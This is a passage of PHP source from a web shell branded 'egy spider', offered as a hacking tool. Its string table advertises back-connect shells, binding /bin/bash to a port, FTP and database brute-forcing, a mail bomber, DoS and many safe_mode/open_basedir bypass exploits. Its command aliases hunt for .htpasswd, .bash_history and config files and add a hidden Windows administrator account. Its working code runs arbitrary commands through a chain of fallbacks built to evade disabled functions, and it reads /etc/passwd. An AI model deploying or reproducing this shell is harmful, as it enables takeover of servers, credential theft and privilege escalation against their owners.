'Remote host', 'eng_text25' => 'Remote port', 'eng_text26' => 'Use', 'eng_butt5' => 'Run', 'eng_text28' => 'Work in safe_mode', 'eng_text29' => 'ACCESS DENIED', 'eng_butt6' => 'Change', 'eng_text30' => 'Cat file', 'eng_butt7' => 'Show', 'eng_text31' => 'File not found', 'eng_text32' => 'Eval PHP code', 'eng_text33' => 'Test bypass open_basedir with cURL functions', 'eng_butt8' => 'Test', 'eng_text34' => 'Test bypass safe_mode with include function', 'eng_text35' => 'Test bypass safe_mode with load file in mysql', 'eng_text36' => 'Database . Table', 'eng_text37' => 'Login', 'eng_text38' => 'Password', 'eng_text39' => 'Database', 'eng_text40' => 'Dump database table', 'eng_butt9' => 'Dump', 'eng_text41' => 'Save dump in file', 'eng_text42' => 'Edit files', 'eng_text43' => 'File for edit', 'eng_butt10' => 'Save', 'eng_text44' => 'Can\'t edit file! Only read access!', 'eng_text45' => 'File saved', 'eng_text46' => 'Show phpinfo()', 'eng_text47' => 'Show variables from php.ini', 'eng_text48' => 'Delete temp files', 'eng_butt11' => 'Edit file', 'eng_text49' => 'Delete script from server', 'eng_text50' => 'View cpu info', 'eng_text51' => 'View memory info', 'eng_text52' => 'Find text', 'eng_text53' => 'In dirs', 'eng_text54' => 'Find text in files', 'eng_butt12' => 'Find', 'eng_text55' => 'Only in files', 'eng_text56' => 'Nothing :(', 'eng_text57' => 'Create/Delete File/Dir', 'eng_text58' => 'name', 'eng_text59' => 'file', 'eng_text60' => 'dir', 'eng_butt13' => 'Create/Delete', 'eng_text61' => 'File created', 'eng_text62' => 'Dir created', 'eng_text63' => 'File deleted', 'eng_text64' => 'Dir deleted', 'eng_butt65' => 'Create', 'eng_text65' => 'Create', 'eng_text66' => 'Delete', 'eng_text67' => 'Chown/Chgrp/Chmod', 'eng_text68' => 'Command', 'eng_text69' => 'param1', 'eng_text70' => 'param2', 'eng_text71' => "Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'eng_text72' => 'Text for find', 'eng_text73' => 'Find in folder', 'eng_text74' => 'Find in files', 'eng_text75' => '* you can use regexp', 'eng_text76' => 'Search text in files via find', 'eng_text80' => 'Type', 'eng_text81' => 'Net', 'eng_text82' => 'Databases', 'eng_text83' => 'Run SQL query', 'eng_text84' => 'SQL query', 'eng_text85' => 'Test bypass safe_mode with commands execute via MSSQL server', 'eng_text86' => 'Download files from server', 'eng_butt14' => 'Download', 'eng_text87' => 'Download files from remote ftp-server', 'eng_text88' => 'FTP-server:port', 'eng_text89' => 'File on ftp', 'eng_text90' => 'Transfer mode', 'eng_text91' => 'Archivation', 'eng_text92' => 'without archivation', 'eng_text93' => 'FTP', 'eng_text94' => 'FTP-bruteforce', 'eng_text95' => 'Users list', 'eng_text96' => 'Can\'t get users list', 'eng_text97' => 'checked: ', 'eng_text98' => 'success: ', 'eng_text99' => '* use username from /etc/passwd for ftp login and password', 'eng_text100' => 'Send file to remote ftp server', 'eng_text101' => 'Use reverse (user -> resu) login for password', 'eng_text102' => 'Mail', 'eng_text103' => 'Send email', 'eng_text104' => 'Send file to email', 'eng_text105' => 'To', 'eng_text106' => 'From', 'eng_text107' => 'Subj', 'eng_butt15' => 'Send', 'eng_text108' => 'Mail', 'eng_text109' => 'Hide', 'eng_text110' => 'Show', 'eng_text111' => 'SQL-Server : Port', 'eng_text112' => 'Test bypass safe_mode with function mb_send_mail', 'eng_text113' => 'Test bypass safe_mode, view dir list via imap_list', 'eng_text114' => 'Test bypass safe_mode, view file contest via imap_body', 'eng_text115' => 'Test bypass safe_mode, copy file via compress.zlib:// in function copy()', 'eng_text116' => 'Copy from', 'eng_text117' => 'to', 'eng_text118' => 'File copied', 'eng_text119' => 'Cant copy file', 'eng_err0' => 'Error! Can\'t write in file ', 'eng_err1' => 'Error! Can\'t read file ', 'eng_err2' => 'Error! Can\'t create ', 'eng_err3' => 'Error! Can\'t connect to ftp', 'eng_err4' => 'Error! Can\'t login on ftp server', 'eng_err5' => 'Error! Can\'t change dir on ftp', 'eng_err6' => 'Error! Can\'t sent mail', 'eng_err7' => 'Mail send', 'eng_text200' => 'read file from vul copy()', 'eng_text500' => 'read file from id()', 'eng_text555' => 'read file from imap()', 'eng_text202' => 'where file in server', 'eng_text300' => 'read file from vul curl()', 'eng_text203' => 'read file from vul ini_restore()', 'eng_text204' => 'write shell from vul error_log()', 'eng_text205' => 'write shell in this side', 'eng_text206' => 'read dir', 'eng_text207' => 'read dir from vul reg_glob', 'eng_text208' => 'execute with function', 'eng_text209' => 'read dir from vul root', 'eng_text210' => 'DeZender ', 'eng_text211' => '::safe_mode off::', 'eng_text212' => 'colse safe_mode with php.ini', 'eng_text213' => 'colse security_mod with .htaccess', 'eng_text214' => 'Admin name', 'eng_text215' => 'IRC server ', 'eng_text216' => '#room name', 'eng_text217' => 'server', 'eng_text218' => 'write ini.php file to close safe_mode with ini_restore vul', 'eng_text225' => 'MySQL Safe Mode Bypass 4.4.7 / 5.2.3 PHP ', 'eng_text226' => 'Safe Mode Bpass Root Directory: ', 'eng_text227' => 'Safe_Mode Bypass 4.4.2/5.1.2: ', 'eng_text228' => 'tools for hacker vb ', 'eng_text230' => 'know pass of cpanel ', 'eng_text219' => 'Get file to server in safe_mode and change name', 'eng_text220' => 'show file with symlink vul', 'eng_text221' => 'zip file in server to download', 'eng_text222' => '2 symlink use vul', 'eng_text223' => 'read file from funcution', 'eng_text224' => 'read file from PLUGIN ', 'eng_butt1' => 'Execute', 'eng_butt2' => 'Upload', 'eng_butt3' => 'Bind', 'eng_butt4' => 'Connect', 'eng_butt5' => 'Run', 'eng_butt6' => 'Change', 'eng_butt7' => 'Show', 'eng_butt8' => 'Test', 'eng_butt9' => 'Dump', 'eng_butt10' => 'Save', 'eng_butt11' => 'Edit file', 'eng_butt12' => 'Find', 'eng_butt13' => 'Create/Delete', 'eng_butt14' => 'Download', 'eng_butt15' => 'Send', 'eng_text1' => 'Executed command', 'eng_text2' => 'Execute command on server', 'eng_text3' => 'Run command', 'eng_text4' => 'Work directory', 'eng_text5' => 'Upload files on server', 'eng_text6' => 'Local file', 'eng_text7' => 'Aliases', 'eng_text8' => 'Select alias', 'eng_text9' => 'Bind port to /bin/bash', 'eng_text10' => 'Port', 'eng_text11' => 'Password for access', 'eng_text12' => 'back-connect', 'eng_text13' => 'IP', 'eng_text14' => 'Port', 'eng_text15' => 'Upload files from remote server', 'eng_text16' => 'With', 'eng_text17' => 'Remote file', 'eng_text18' => 'Local file', 'eng_text19' => 'Exploits', 'eng_text20' => 'Use', 'eng_text21' => '&nbsp;New name', 'eng_text22' => 'datapipe', 'eng_text23' => 'Local port', 'eng_text24' => 'Remote host', 'eng_text25' => 'Remote port', 'eng_text26' => 'Use', 'eng_text28' => 'Work in safe_mode', 'eng_text29' => 'ACCESS DENIED', 'eng_text30' => 'Cat file', 'eng_text31' => 'File not found', 'eng_text32' => 'Eval PHP code', 'eng_text33' => 'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', 'eng_text34' => 'Test bypass safe_mode with include function', 'eng_text35' => 'Test bypass safe_mode with load file in mysql', 'eng_text36' => 'Database . Table', 'eng_text37' => 'Login', 'eng_text38' => 'Password', 'eng_text39' => 'Database', 'eng_text40' => 'Dump database table', 'eng_text41' => 'Save dump in file', 'eng_text42' => 'Edit files', 'eng_text43' => 'File for edit', 'eng_text44' => 'Can\'t edit file! Only read access!', 'eng_text45' => 'File saved', 'eng_text46' => 'Show phpinfo()', 'eng_text47' => 'Show variables from php.ini', 'eng_text48' => 'Delete temp files', 'eng_text49' => 'Delete script from server', 'eng_text50' => 'View cpu info', 'eng_text51' => 'View memory info', 'eng_text52' => 'Find text', 'eng_text53' => 'In dirs', 'eng_text54' => 'Find text in files', 'eng_text55' => 'Only in files', 'eng_text56' => 'Nothing :(', 'eng_text57' => 'Create/Delete File/Dir', 'eng_text58' => 'name', 'eng_text59' => 'file', 'eng_text60' => 'dir', 'eng_text61' => 'File created', 'eng_text62' => 'Dir created', 'eng_text63' => 'File deleted', 'eng_text64' => 'Dir deleted', 'eng_text65' => 'Create', 'eng_text66' => 'Delete', 'eng_text67' => 'Chown/Chgrp/Chmod', 'eng_text68' => 'Command', 'eng_text69' => 'param1', 'eng_text70' => 'param2', 'eng_text71' => "Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'eng_text72' => 'Text for find', 'eng_text73' => 'Find in folder', 'eng_text74' => 'Find in files', 'eng_text75' => '* you can use regexp', 'eng_text76' => 'Search text in files via find', 'eng_text80' => 'Type', 'eng_text81' => 'Net', 'eng_text82' => 'Databases', 'eng_text83' => 'Run SQL query', 'eng_text84' => 'SQL query', 'eng_text85' => 'Test bypass safe_mode with commands execute via MSSQL server', 'eng_text86' => 'Download files from server', 'eng_text87' => 'Download files from remote ftp-server', 'eng_text88' => 'server:port', 'eng_text89' => 'File on ftp', 'eng_text90' => 'Transfer mode', 'eng_text91' => 'Archivation', 'eng_text92' => 'without arch.', 'eng_text93' => 'FTP', 'eng_text94' => 'FTP-bruteforce', 'eng_text95' => 'Users list', 'eng_text96' => 'Can\'t get users list', 'eng_text97' => 'checked: ', 'eng_text98' => 'success: ', 'eng_text99' => '/etc/passwd', 'eng_text100' => 'Send file to remote ftp server', 'eng_text101' => 'Use reverse (user -> resu)', 'eng_text102' => 'Mail', 'eng_text103' => 'Send email', 'eng_text104' => 'Send file to email', 'eng_text105' => 'To', 'eng_text106' => 'From', 'eng_text107' => 'Subj', 'eng_text108' => 'Mail', 'eng_text109' => 'Hide', 'eng_text110' => 'Show', 'eng_text111' => 'SQL-Server : Port', 'eng_text112' => 'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', 'eng_text113' => 'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', 'eng_text114' => 'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', 'eng_text115' => 'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', 'eng_text116' => 'Copy from', 'eng_text117' => 'to', 'eng_text118' => 'File copied', 'eng_text119' => 'Cant copy file', 'eng_text120' => 'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', 'eng_text121' => 'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', 'eng_text122' => 'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)', 'eng_text123' => 'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', 'eng_text124' => 'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', 'eng_text125' => 'Data', 'eng_text126' => 'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', 'eng_text127' => 'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', 'eng_text128' => 'Modify/Access file (touch)', 'eng_text129' => 'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', 'eng_text130' => 'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', 'eng_text131' => 'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)', 'eng_text132' => 'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)', 'eng_text133' => 'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', 'eng_text134' => 'Database-bruteforce', 'eng_text135' => 'Dictionary', 'eng_text136' => 'Creating evil symlink', 'eng_text137' => 'Useful', 'eng_text138' => 'Dangerous', 'eng_text139' => 'Mail Bomber', 'eng_text140' => 'DoS', 'eng_text141' => 'Danger! Web-daemon crash possible.', 'eng_text142' => 'Downloaders', 'eng_text143' => 'Temp: ', 'eng_text144' => 'Test bypass safe_mode with load file in mysqli', 'eng_text145' => 'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)', 'eng_text146' => 'Max Interation', 'eng_text151' => 'Test bypass safe_mode with chdir()and ftok() (PHP <= 5.2.6)', 'eng_text161' => 'Test bypass safe_mode with posix_access() (posix ext) (PHP <= 5.2.6)', 'eng_text162' => 'ionCube extension safe_mode and disable_functions protections bypass (PHP <= 5.2.4)', 'eng_text163' => 'PHP Perl Extension Safe_mode Bypass Exploit', 'eng_text170' => ' Test bypass safe_mode and Open_basedir Settings by Posix_getpw (PHP <= 4.2.0)', 'eng_text171' => ' PHP (Win32std) Extension safe_mode/disable_functions Protections Bypass (PHP <= 5.2.3)', 'eng_text147' => '', 'eng_text148' => '', 'eng_text149' => '', 'eng_text150' => '', 'eng_text159' => 'About egy spider', 'eng_text152' => 'Latest News', 'eng_text153' => 'Logout ', 'eng_text154' => 'Quick index ', 'eng_text155' => 'Mass Code Injection ', 'eng_text156' => 'File source ', 'eng_text157' => 'Registration in Zone-h ', 'eng_text158' => 'Hash Tools  ', 'eng_text160' => 'Home Shell  ', 'eng_text180' => 'Send Your Comments And Contacted Me ', 'eng_err0' => 'Error! Can\'t write in file ', 'eng_err1' => 'Error! Can\'t read file ', 'eng_err2' => 'Error! Can\'t create ', 'eng_err3' => 'Error! Can\'t connect to ftp', 'eng_err4' => 'Error! Can\'t login on ftp server', 'eng_err5' => 'Error! Can\'t change dir on ftp', 'eng_err6' => 'Error! Can\'t sent mail', 'eng_err7' => 'Mail send',);
1594                 $aliases = array('----------------------------------locate' => '', 'find httpd.conf files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate httpd.conf files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate vhosts.conf files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate proftpd.conf files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate psybnc.conf' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate my.conf files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate admin.php files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate cfg.php files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate conf.php files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate config.dat files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate config.php files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate config.inc files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate config.inc.php files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate config.default.php files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate .conf files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate .pwd files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate .sql files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate .htpasswd files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate .bash_history files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate .mysql_history files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate backup files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate dump files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate priv files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'locate vhosts.conf files' => '/tmp/grep.txt;cat /tmp/grep.txt', '________________find orders ______________-' => '/tmp/grep.txt;cat /tmp/grep.txt', 'cat /var/cpanel/accounting.log' => 'cat /var/cpanel/accounting.log', 'find all site of server and user' => 'ls -la /etc/valiases', 'find suid files' => 'find / -type f -perm -04000 -ls', 'find suid files in current dir' => 'find . -type f -perm -04000 -ls', 'find sgid files' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php files' => 'find / -type f -name config.inc.php', 'find config.inc.php files in current dir' => 'find . -type f -name config.inc.php', 'find config* files' => 'find / -type f -name "config*"', 'find config* files in current dir' => 'find . -type f -name "config*"', 'find all writable files' => 'find / -type f -perm -2 -ls', 'find all writable files in current dir' => 'find . -type f -perm -2 -ls', 'find all writable directories' => 'find /  -type d -perm -2 -ls', 'find all writable directories in current dir' => 'find . -type d -perm -2 -ls', 'find all writable directories and files' => 'find / -perm -2 -ls', 'find all writable directories and files in current dir' => 'find . -perm -2 -ls', 'find all service.pwd files' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find all .htpasswd files' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find all .bash_history files' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find all .mysql_history files' => 'find / -type f -name .mysql_history', 'find .mysql_history files in current dir' => 'find . -type f -name .mysql_history', 'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', '________________var orders var______________-' => '/tmp/grep.txt;cat /tmp/grep.txt', 'find /var/ error_log files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'find /var/ access.log files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'find /var/ error.log files' => '/tmp/grep.txt;cat /tmp/grep.txt', 'find /var/ &quot;*.log&quot; files' => '/tmp/grep.txt;cat /tmp/grep.txt', '________________for server windows ______________-' => '/tmp/grep.txt;cat /tmp/grep.txt', '1_learn the management server' => 'net user', '2_add new user' => 'net user egy_spider 123456 /add', '3_add your user for admin group (this order after add order 1&2' => 'net localgroup administrators egy_spider /add', '----------------------------------------------------------------------------------------------------' => 'ls -la');
1595                 $table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: ";
1596                 $table_up2 = " ::</div></b></font></td></tr><tr><td>";
1597                 $table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333>";
1598                 $table_end1 = "</td></tr>";
1599                 $arrow = " <font face=Webdings color=gray>4</font>";
1600                 $lb = "<font color=black>[</font>";
1601                 $rb = "<font color=black>]</font>";
1602                 $font = "<font face=Verdana size=-2>";
1603                 $ts = "<table class=table1 width=100% align=center>";
1604                 $te = "</table>";
1605                 $fs = "<form name=form method=POST>";
1606                 $fe = "</form>";
1607                 if (isset($_GET['users'])) {
1608                     if (!$users = get_users('/etc/passwd')) {
1609                         echo "<center><font face=Verdana size=-2 color=red>" . $lang[$language . '_text96'] . "</font></center>";
1610                     } else {
1611                         echo '<center>';
1612                         foreach ($users as $user) {
1613                             echo $user . "<br>";
1614                         }
1615                         echo '</center>';
1616                     }
1617                     echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='" . $_SERVER['PHP_SELF'] . "'>BACK</a> ]</b></font></div>";
1618                     die();
1619                 }
1620                 if (!empty($_POST['dir'])) {
1621                     if (@function_exists('chdir')) {
1622                         @chdir($_POST['dir']);
1623                     } else if (@function_exists('chroot')) {
1624                         @chroot($_POST['dir']);
1625                     };
1626                 }
1627                 if (empty($_POST['dir'])) {
1628                     if (@function_exists('chdir')) {
1629                         $dir = @getcwd();
1630                     };
1631                 } else {
1632                     $dir = $_POST['dir'];
1633                 }
1634                 $unix = 0;
1635                 if (strlen($dir) > 1 && $dir[1] == ":") $unix = 0;
1636                 else $unix = 1;
1637                 if (empty($dir)) {
1638                     $os = getenv('OS');
1639                     if (empty($os)) {
1640                         $os = @php_uname();
1641                     }
1642                     if (empty($os)) {
1643                         $os = "-";
1644                         $unix = 1;
1645                     } else {
1646                         if (@eregi("^win", $os)) {
1647                             $unix = 0;
1648                         } else {
1649                             $unix = 1;
1650                         }
1651                     }
1652                 }
1653                 if (!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") {
1654                     echo $head;
1655                     if (!empty($_POST['s_mask']) && !empty($_POST['m'])) {
1656                         $sr = new SearchResult($_POST['s_dir'], $_POST['s_text'], $_POST['s_mask']);
1657                     } else {
1658                         $sr = new SearchResult($_POST['s_dir'], $_POST['s_text']);
1659                     }
1660                     $sr->SearchText(0, 0);
1661                     $res = $sr->GetResultFiles();
1662                     $found = $sr->GetMatchesCount();
1663                     $titles = $sr->GetTitles();
1664                     $r = "";
1665                     if ($found > 0) {
1666                         $r.= "<TABLE width=100%>";
1667                         foreach ($res as $file => $v) {
1668                             $r.= "<TR>";
1669                             $r.= "<TD colspan=2><font face=Verdana size=-2><b>" . ws(3);
1670                             $r.= (!$unix) ? str_replace("/", "\\", $file) : $file;
1671                             $r.= "</b></font></ TD>";
1672                             $r.= "</TR>";
1673                             foreach ($v as $a => $b) {
1674                                 $r.= "<TR>";
1675                                 $r.= "<TD align=center><B><font face=Verdana size=-2>" . $a . "</font></B></TD>";
1676                                 $r.= "<TD><font face=Verdana size=-2>" . ws(2) . $b . "</font></TD>";
1677                                 $r.= "</TR>\n";
1678                             }
1679                         }
1680                         $r.= "</TABLE>";
1681                         echo $r;
1682                     } else {
1683                         echo "<P align=center><B><font face=Verdana size=-2>" . $lang[$language . '_text56'] . "</B></font></P>";
1684                     }
1685                     echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='" . $_SERVER['PHP_SELF'] . "'>BACK</a> ]</b></font></div>";
1686                     die();
1687                 }
1688                 if (strpos(ex("echo abcr57"), "r57") != 3) {
1689                     $safe_mode = 1;
1690                 } else {
1691                     $safe_mode = 0;
1692                 }
1693                 $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
1694                 if (empty($SERVER_SOFTWARE)) {
1695                     $SERVER_SOFTWARE = "-";
1696                 }
1697                 function ws($i) {
1698                     return @str_repeat("&nbsp;", $i);
1699                 }
1700                 function ex($cfe) {
1701                     global $unix, $tempdir;
1702                     $res = '';
1703                     if (!empty($cfe)) {
1704                         if (@function_exists('exec')) {
1705                             @exec($cfe, $res);
1706                             $res = join("\n", $res);
1707                         } elseif (@function_exists('shell_exec')) {
1708                             $res = @shell_exec($cfe);
1709                         } elseif (@function_exists('system')) {
1710                             @ob_start();
1711                             @system('$cfe');
1712                             $res = @ob_get_contents();
1713                             @ob_end_clean();
1714                         } elseif (@function_exists('passthru')) {
1715                             @ob_start();
1716                             @passthru($cfe);
1717                             $res = @ob_get_contents();
1718                             @ob_end_clean();
1719                         } elseif (@function_exists('popen') && @is_resource($f = @popen($cfe, "r"))) {
1720                             $res = "";
1721                             if (@function_exists('fread') && @function_exists('feof')) {
1722                                 while (!@feof($f)) {
1723                                     $res.= @fread($f, 1024);
1724                                 }
1725                             } else if (@function_exists('fgets') && @function_exists('feof')) {
1726                                 while (!@feof($f)) {
1727                                     $res.= @fgets($f, 1024);
1728                                 }
1729                             }
1730                             @pclose($f);
1731                         } elseif (@function_exists('proc_open') && @is_resource($f = @proc_open($cfe, array(1 => array("pipe", "w")), $pipes))) {
1732                             $res = "";
1733                             if (@function_exists('fread') && @function_exists('feof')) {
1734                                 while (!@feof($pipes[1])) {
1735                                     $res.= @fread($pipes[1], 1024);
1736                                 }
1737                             } else if (@function_exists('fgets') && @function_exists('feof')) {
1738                                 while (!@feof($pipes[1])) {
1739                                     $res.= @fgets($pipes[1], 1024);
1740                                 }
1741                             }
1742                             @proc_close($f);
1743                         }
1744                     } else {
1745                         $res = safe_ex($cfe);
1746                     }
1747                     return htmlspecialchars($res);
1748                 }
1749                 function safe_ex($cfe) {
1750                     global $unix, $tempdir;
1751                     $res = '';
1752                     if (!empty($cfe)) {
1753                         if (extension_loaded('perl')) {
1754                             @ob_start();
1755                             $safeperl = new perl();
1756                             $safeperl->eval("system('$cfe')");
1757                             $res = @ob_get_contents();
1758                             @ob_end_clean();
1759                         } elseif (!$unix && extension_loaded('ffi')) {
1760                             $output = $tempdir . uniqid('NJ');
1761                             $api = new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
1762                             if (!@function_exists('escapeshellarg')) {
1763                                 $res = $api->WinExec("cmd.exe /c $cfe >\"$output\"", 0);
1764                             } else {
1765                                 $res = $api->WinExec("cmd.exe /c " . @escapeshellarg($cfe) . " >\"$output\"", 0);
1766                             }
1767                             while (!@file_exists($output)) sleep(1);
1768                             $res = moreread($output);
1769                             @unlink($output);
1770                         } elseif (!$unix && extension_loaded('win32service')) {
1771                             $output = $tempdir . uniqid('NJ');
1772                             $n_ser = uniqid('NJ');
1773                             if (!@function_exists('escapeshellarg')) {
1774                                 @win32_create_service(array('service' => $n_ser, 'display' => $n_ser, 'path' => 'c:\\windows\\system32\\cmd.exe', 'params' => "/c $cfe >\"$output\""));
1775                             } else {
1776                                 @win32_create_service(array('service' => $n_ser, 'display' => $n_ser, 'path' => 'c:\\windows\\system32\\cmd.exe', 'params' => "/c " . @escapeshellarg($cfe) . " >\"$output\""));
1777                             }
1778                             @win32_start_service($n_ser);
1779                             @win32_stop_service($n_ser);
1780                             @win32_delete_service($n_ser);
1781                             while (!@file_exists($output)) sleep(1);
1782                             $res = moreread($output);
1783                             @unlink($output);
1784                         } elseif (!$unix && extension_loaded("win32std")) {
1785                             $output = $tempdir . uniqid('NJ');
1786                             if (!@function_exists('escapeshellarg')) {
1787                                 @win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c ' . $cfe . ' > "' . $output . '"');
1788                             } else {
1789                                 @win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c ' . @escapeshellarg($cfe) . ' > "' . $output . '"');
1790                             }
1791                             while (!@file_exists($output)) sleep(1);
1792                             $res = moreread($output);
1793                             @unlink($output);
1794                         } elseif (!$unix) {
1795                             $output = $tempdir . uniqid('NJ');
1796                             $suntzu = new COM("WScript.Shell");
1797                             if (!@function_exists('escapeshellarg')) {
1798                                 $suntzu->Run('c:\windows\system32\cmd.exe /c ' . $cfe . ' > "' . $output . '"');
1799                             } else {
1800                                 $suntzu->Run('c:\windows\system32\cmd.exe /c ' . @escapeshellarg($cfe) . ' > "' . $output . '"');
1801                             }
1802                             $res = moreread($output);
1803                             @unlink($output);
1804                         } elseif (@function_exists('pcntl_exec') && @function_exists('pcntl_fork')) {
1805                             $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
1806                             $output = $tempdir . uniqid('pcntl');
1807                             $pid = @pcntl_fork();
1808                             if ($pid == - 1) {
1809                                 $res.= '[-] Could not children fork. Exit';
1810                             } else if ($pid) {
1811                                 if (@pcntl_wifexited($status)) {
1812                                     $res.= '[+] Done! Command "' . $cfe . '" successfully executed.';
1813                                 } else {
1814                                     $res.= '[-] Error. Command incorrect.';
1815                                 }
1816                             } else {
1817                                 $cfe = array(" -e 'system(\"$cfe > $output\")'");
1818                                 if (@pcntl_exec('/usr/bin/perl', $cfe)) exit(0);
1819                                 if (@pcntl_exec('/usr/local/bin/perl', $cfe)) exit(0);
1820                                 die();
1821                             }
1822                             $res = moreread($output);
1823                             @unlink($output);
1824                         }
1825                     }
1826                     return htmlspecialchars($res);
1827                 }
1828                 function get_users($filename) {
1829                     $users = $rows = array();
1830                     $rows = @explode("\n", moreread($filename));
1831                     if (!$rows[0]) {
1832                         $rows = @explode("\n", readzlib($filename));
1833                     }
1834                     if (!$rows[0]) return 0;
1835                     foreach ($rows as $string) {
1836                         $user = @explode(":", trim($string));
1837                         if (substr($string, 0, 1) != '#') array_push($users, $user[0]);
1838                     }
1839                     return $users;
1840                 }
1841                 function err($n, $txt = '') {
1842                     echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>';
1843                     echo $GLOBALS['lang'][$GLOBALS['language'] . '_err' . $n];
1844                     if (!empty($txt)) {
1845                         echo " $txt";
1846                     }
1847                     echo '</b></div></font></td></tr></table>';
1848                     return null;
1849                 }
1850                 function perms($mode) {
1851                     if (!$GLOBALS['unix']) return 0;
1852                     if ($mode & 0x1000) {
1853                         $type = 'p';
1854                     } else if ($mode & 0x2000) {
1855                         $type = 'c';
1856                     } else if ($mode & 0x4000) {
1857                         $type = 'd';
1858                     } else if ($mode & 0x6000) {
1859                         $type = 'b';
1860                     } else if ($mode & 0x8000) {
1861                         $type = '-';
1862                     } else if ($mode & 0xA000) {
1863                         $type = 'l';
1864                     } else if ($mode & 0xC000) {
1865                         $type = 's';
1866                     } else $type = 'u';
1867                     $owner["read"] = ($mode & 00400) ? 'r' : '-';
1868                     $owner["write"] = ($mode & 00200) ? 'w' : '-';
1869                     $owner["execute"] = ($mode & 00100) ? 'x' : '-';
1870                     $group["read"] = ($mode & 00040) ? 'r' : '-';
1871                     $group["write"] = ($mode & 00020) ? 'w' : '-';
1872                     $group["execute"] = ($mode & 00010) ? 'x' : '-';
1873                     $world["read"] = ($mode & 00004) ? 'r' : '-';
1874                     $world["write"] = ($mode & 00002) ? 'w' : '-';
1875                     $world["execute"] = ($mode & 00001) ? 'x' : '-';
1876                     if ($mode & 0x800) $owner["execute"] = ($owner['execute'] == 'x') ? 's' : 'S';
1877                     if ($mode & 0x400) $group["execute"] = ($group['execute'] == 'x') ? 's' : 'S';
1878                     if ($mode & 0x200) $world["execute"] = ($world['execute'] == 'x') ? 't' : 'T';
1879                     $s = sprintf("%1s", $type);
1880                     $s.= sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
1881                     $s.= sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
1882                     $s.= sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
1883                     return trim($s);
1884                 }
1885                 function in($type, $name, $size, $value, $checked = 0) {
1886                     $ret = "<input type=" . $type . " name=" . $name . " ";
1887                     if ($size != 0) {
1888                         $ret.= "size=" . $size . " ";
1889                     }
1890                     $ret.= "value=\"" . $value . "\"";
1891                     if ($checked) $ret.= " checked";
